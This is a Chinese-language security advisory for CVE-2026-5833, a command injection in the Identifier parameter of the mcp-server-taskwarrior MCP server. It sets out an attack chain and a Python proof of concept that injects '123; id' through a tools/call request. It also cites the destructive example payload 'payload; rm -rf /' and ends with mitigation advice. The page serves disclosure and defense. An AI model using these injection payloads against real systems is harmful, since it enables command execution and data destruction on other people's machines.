IPBUF安全漏洞报告
English
CVE-2026-5833 CVSS 5.3 中危

CVE-2026-5833 mcp-server-taskwarrior命令注入漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5833
漏洞类型
命令注入
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
awwaiid mcp-server-taskwarrior

相关标签

命令注入CVE-2026-5833mcp-server-taskwarrior本地攻击RCE

漏洞概述

awwaiid mcp-server-taskwarrior是一款集成了Taskwarrior任务管理工具的MCP服务器软件。在1.0.1及之前的版本中,该软件存在一个严重的安全漏洞。漏洞位于`index.ts`文件的`server.setRequestHandler`函数中,由于对传入的`Identifier`参数缺乏严格的过滤和验证,导致攻击者可以操纵该参数触发命令注入攻击。虽然该攻击需要本地访问权限(AV:L)和低权限账户(PR:L),但无需用户交互即可执行。成功利用此漏洞可能导致系统机密性、完整性和可用性受损。目前厂商已发布修复补丁,建议用户尽快升级。

技术细节

该漏洞的根本原因是不安全的输入处理机制。在`awwaiid/mcp-server-taskwarrior`的源代码中,`index.ts`文件通过`server.setRequestHandler`定义了请求处理逻辑。该函数在接收到调用请求时,将用户可控的`Identifier`参数直接拼接到系统命令中执行,而没有使用安全的参数化查询或进行必要的转义处理。由于Taskwarrior是命令行工具,该服务器本质上充当了Web请求到Shell命令的转换器。攻击者可以通过在`Identifier`字段中注入Shell元字符(如分号`;`、管道符`|`或反引号`` ` ``)来截断原始命令并追加任意恶意指令。例如,将参数构造为`payload; rm -rf /`,服务器在执行时将顺次执行删除操作。攻击链要求攻击者已获得本地系统的低权限访问权限,利用该漏洞可提升执行权限,窃取敏感数据或破坏服务环境。修复补丁(commit 1ee3d282)主要针对输入参数进行了严格的校验或重构了命令调用逻辑。

攻击链分析

STEP 1
1. 本地访问
攻击者需要获得目标系统的本地访问权限,并具备低级别用户权限(PR:L)。
STEP 2
2. 识别服务
攻击者确认本地正在运行awwaiid mcp-server-taskwarrior服务,且版本在1.0.1及以下。
STEP 3
3. 构造恶意参数
攻击者针对`server.setRequestHandler`函数中的`Identifier`参数,构造包含Shell元字符(如`;`或`&&`)的恶意字符串,以拼接系统命令。
STEP 4
4. 发送恶意请求
攻击者向本地MCP服务端点发送包含恶意`Identifier`参数的特制请求。
STEP 5
5. 执行注入命令
服务器端未过滤输入,直接拼接命令执行,导致攻击者在服务器上下文中执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # PoC for CVE-2026-5833 # Description: Exploits command injection in the 'Identifier' parameter. # Target: awwaiid mcp-server-taskwarrior <= 1.0.1 def exploit(target_url): headers = {'Content-Type': 'application/json'} # The vulnerable parameter is 'Identifier'. # We inject a shell command to execute 'id' to verify exploitation. # Example payload: legitimate_id; id malicious_payload = { "method": "tools/call", "params": { "name": "taskwarrior", "arguments": { "Identifier": "123; id" } } } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, headers=headers, data=json.dumps(malicious_payload), timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) # Check if the output of 'id' command is present in the response if "uid=" in response.text or "gid=" in response.text: print("[!] Command Injection successful! System command executed.") else: print("[-] Exploit failed or output not visible in response.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual local endpoint of the MCP server target = "http://127.0.0.1:3000/mcp" exploit(target)

影响范围

awwaiid mcp-server-taskwarrior <= 1.0.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用受影响的mcp-server-taskwarrior服务。或者,在操作系统层面限制运行该服务用户的权限,确保其仅具备完成任务所需的最小权限,防止命令注入后造成系统性破坏。同时,监控服务进程的异常子进程调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表